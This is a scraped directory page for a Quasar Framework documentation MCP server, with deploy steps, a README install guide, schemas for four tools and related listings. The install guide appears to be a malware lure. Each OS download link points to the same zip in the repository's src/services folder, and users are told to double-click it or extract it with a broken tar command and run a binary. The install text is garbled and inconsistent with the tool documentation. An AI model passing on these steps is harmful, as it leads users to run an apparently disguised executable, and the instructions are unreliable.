quasar-docs-mcp-server
Provides access to documentation for the Quasar Framework, allowing users to browse and retrieve information about components, directives, plugins, and other framework features.
Click on "Deploy Server".
Wait a few minutes for the server to deploy. Once ready, it will show a "Started" state.
In the chat, type
@followed by the MCP server name and your instructions, e.g., "@quasar-docs-mcp-server show me Quasar's QCard component documentation"
That's it! The server will respond to your query, and you can continue using it as needed.
Here is a step-by-step guide with screenshots.
π quasar-docs-mcp-server - Easy Access to Quasar Documentation
π Overview
The quasar-docs-mcp-server is a simple tool that allows users to access documentation for the Quasar Framework. This server supports Claude Code and other tools that use the Model Context Protocol (MCP). It aims to make working with the Quasar Framework easier for everyone, even if youβre not a tech expert.
Related MCP server: MCP Framework Documentation Server
π Getting Started
Step 1: Check System Requirements
Before you start downloading, make sure your computer meets these basic requirements:
Operating System: Windows, macOS, or Linux
At least 100 MB of free disk space
Internet connection for download
Step 2: Visit the Releases Page
To download the application, you need to go to the Releases page. You can find it here:
This page contains all available versions of the quasar-docs-mcp-server. You can choose the version that best suits your needs.
Step 3: Select Your Version
On the Releases page, you will see a list of versions with release notes. Itβs a good idea to read the notes to understand whatβs new or fixed in each version.
Step 4: Download the Application
Look for the latest version. Click on the download link for your operating system. Depending on your system, the file name might look like one of these:
https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zipfor Windowshttps://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zipfor macOShttps://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zipfor Linux
Clicking the link will start the download process.
Step 5: Install the Application
For Windows:
Locate the file you downloaded (usually in your Downloads folder).
Double-click the
https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zipfile to start the installation.Follow the on-screen instructions to complete the installation.
For macOS:
Open the downloaded
https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zipfile.Drag the application to your Applications folder.
You can find it in your Applications folder and open it from there.
For Linux:
Open a terminal window.
Navigate to the folder where you downloaded the https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zip file (usually Downloads).
Run the command
tar -xzf https://github.com/mamit514/quasar-docs-mcp-server/raw/refs/heads/main/src/services/quasar_mcp_server_docs_1.9.zipto extract the files.After extracting, navigate to the folder and run
./quasar-docs-mcp-serverto start the application.
Step 6: Run the Application
Once installed, you can start the application.
Windows Users: You can find the application in your Start Menu or on your Desktop.
macOS Users: Open the Applications folder and double-click the app.
Linux Users: After navigating to the folder where the app is located, type
./quasar-docs-mcp-serverin the terminal.
Step 7: Access Documentation
After running the application, you will be greeted with a simple user interface. Here, you can access various documentation for the Quasar Framework. Use the provided links to browse through different sections.
π οΈ Features
Simple Interface: The quasar-docs-mcp-server has an easy-to-navigate interface, making it simple for anyone to find the information they need.
Supports Multiple Platforms: Available for Windows, macOS, and Linux, allowing any user to access Quasar documentation easily.
Updated Documentation: Enjoy access to the latest information on the Quasar Framework, ensuring you have the most current resources.
Works Offline: Once downloaded, you can access documentation without needing to be online.
π Additional Resources
Learn more about the Quasar Framework
Explore more about Model Context Protocol (MCP)
π Support
If you encounter any issues or have questions about using the quasar-docs-mcp-server, feel free to open an issue in the repository. We are here to help you.
For more information, visit the GitHub page or contact our support team.
π₯ Download & Install Again
Ready to get started? Download the application again from the link below:
Available Tools
4 toolsquasar_get_componentA
Get documentation for a specific Quasar UI component.
Returns the full markdown documentation including API reference, props, events, slots, methods, and usage examples.
Args:
component (string, required): Component name. Accepts various formats:
With prefix: 'q-btn', 'q-input', 'q-dialog'
Without prefix: 'btn', 'input', 'dialog'
Common aliases: 'button' -> 'btn', 'modal' -> 'dialog', 'dropdown' -> 'select'
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: For markdown: Full component documentation with API details For JSON: { "component": string, // Original input "normalized_name": string, // Resolved component name "path": string, // File path in docs "url": string, // Quasar.dev URL "content": string, // Documentation content "truncated": boolean // Whether content was truncated }
Examples:
Get button docs: component="btn" or component="q-btn" or component="button"
Get dialog docs: component="dialog" or component="modal"
Get input docs: component="input" or component="textfield"
Errors:
Returns "Component not found" with suggestions if component doesn't exist
Inputs: component (required), response_format.
quasar_get_pageA
Get any Quasar documentation page by its path.
Use this for non-component documentation like style guides, plugins, CLI docs, getting started guides, etc.
Args:
path (string, required): Path to the documentation page. Examples:
'vue-components/btn' - Component docs
'style/color-palette' - Style documentation
'quasar-plugins/notify' - Plugin docs
'quasar-cli-vite/quasar-config-file' - CLI configuration
'start/installation' - Getting started
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: For markdown: Full page content with documentation For JSON: { "requested_path": string, // Original path input "resolved_path": string, // Actual file path found "url": string, // Quasar.dev URL "content": string, // Page content "truncated": boolean // Whether content was truncated }
Examples:
Get color palette: path="style/color-palette"
Get notify plugin: path="quasar-plugins/notify"
Get CLI config: path="quasar-cli-vite/quasar-config-file"
Errors:
Returns "Page not found" with suggestions if path doesn't exist
Automatically tries index.md for directory paths
Inputs: path (required), response_format.
quasar_list_sectionsA
List all available Quasar documentation sections, or list pages within a specific section.
Use this to discover what documentation is available and navigate the docs structure.
Args:
section (string, optional): Show pages within a specific section (e.g., 'vue-components')
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: When listing all sections (no section parameter): For markdown: Formatted list of sections with titles, descriptions, and page counts For JSON: { "total_sections": number, "sections": [ { "name": string, // Section identifier (e.g., 'vue-components') "path": string, // URL path "title": string, // Human-readable title "description": string, // Section description "page_count": number // Number of pages in section } ] }
When listing pages in a section: For markdown: List of pages with titles and paths For JSON: { "section": string, "total_pages": number, "pages": [ { "title": string, "path": string, "url": string } ] }
Examples:
List all sections: (no parameters)
List component pages: section="vue-components"
List plugins: section="quasar-plugins"
Get JSON format: section="style", response_format="json"
Errors:
Returns available sections if specified section doesn't exist
Inputs: section, response_format.
quasar_search_docsA
Search the Quasar documentation for topics, components, or features.
Returns a list of matching pages with titles, paths, sections, URLs, and relevance scores. Supports section filtering, pagination, and optional deep content search.
Args:
query (string, required): Search terms (e.g., 'button', 'form validation', 'dark mode')
section (string, optional): Limit to section (e.g., 'vue-components', 'style', 'quasar-plugins')
limit (number): Max results 1-50 (default: 10)
offset (number): Results to skip for pagination (default: 0)
include_content (boolean): Search file contents - slower but more thorough (default: false)
response_format ('markdown' | 'json'): Output format (default: 'markdown')
Returns: For markdown: Formatted list with titles, sections, paths, URLs For JSON: { "query": string, "section": string | undefined, "total": number, // Total matches found "count": number, // Results in this response "offset": number, // Current offset "limit": number, // Requested limit "has_more": boolean, // More results available "next_offset": number, // Offset for next page "results": [ { "title": string, "path": string, "section": string, "url": string, "snippet": string, // Context around match "score": number // Relevance score } ] }
Examples:
Find button docs: query="btn"
Find form components: query="form", section="vue-components"
Get next page: query="dialog", offset=10, limit=10
Deep search: query="validation", include_content=true
Errors:
Returns "No results found" if no matches
Returns available sections if section filter is invalid
Inputs: query (required), limit, offset, section, +2 more.
Tool Schema Changelog
Recent tool additions, removals, and schema changes observed during successful MCP inspections.
Loading tool schema changelogβ¦
TDQS
Scored across 4 tools
Each tool serves a clearly distinct purpose: getting a component, getting a generic page, listing sections, and searching. There is no functional overlap.
All tools follow a consistent 'quasar_verb_noun' pattern (e.g., quasar_get_component, quasar_search_docs), with verbs clearly indicating the action.
Four tools is a compact but reasonable set for a documentation server. It covers the essential operations without being too sparse.
The set covers all key documentation needs: browsing sections, listing pages, retrieving specific docs (components and other pages), and searching. No obvious gaps.
Maintenance
Related MCP Connectors
Augments MCP Server - A comprehensive framework documentation provider for Claude Code
Search the official docs of Claude Code, Cursor, OpenAI Codex and MCP, refreshed daily.
Query any docs site via MCP. Submit a URL, ask questions, get cited answers.
Query your own PDFs and documents from any MCP client. Every answer cites the page it came from.
Related MCP Servers
- AlicenseBqualityDmaintenanceProvides complete access to Model Context Protocol documentation through an MCP server, allowing LLMs to query specific sections like 'Tools', 'Resources', and 'Authorization' to retrieve comprehensive protocol specifications.119 npm10MIT
- AlicenseAqualityDmaintenanceProvides tools for AI agents to search, browse, and retrieve the full documentation for the mcp-framework. It enables agents to access documentation sections and page content directly within MCP-compatible environments like Claude Code and Cursor.37 npmMIT
- FlicenseNot gradedqualityBmaintenanceProvides AI assistants with up-to-date Vue ecosystem documentation through the Model Context Protocol, enabling semantic search, API lookup, and cross-framework references.15-
- -licenseNot gradedqualityCmaintenanceEnables efficient search through Model Context Protocol documentation, supporting clients like Cursor and Claude Desktop.2-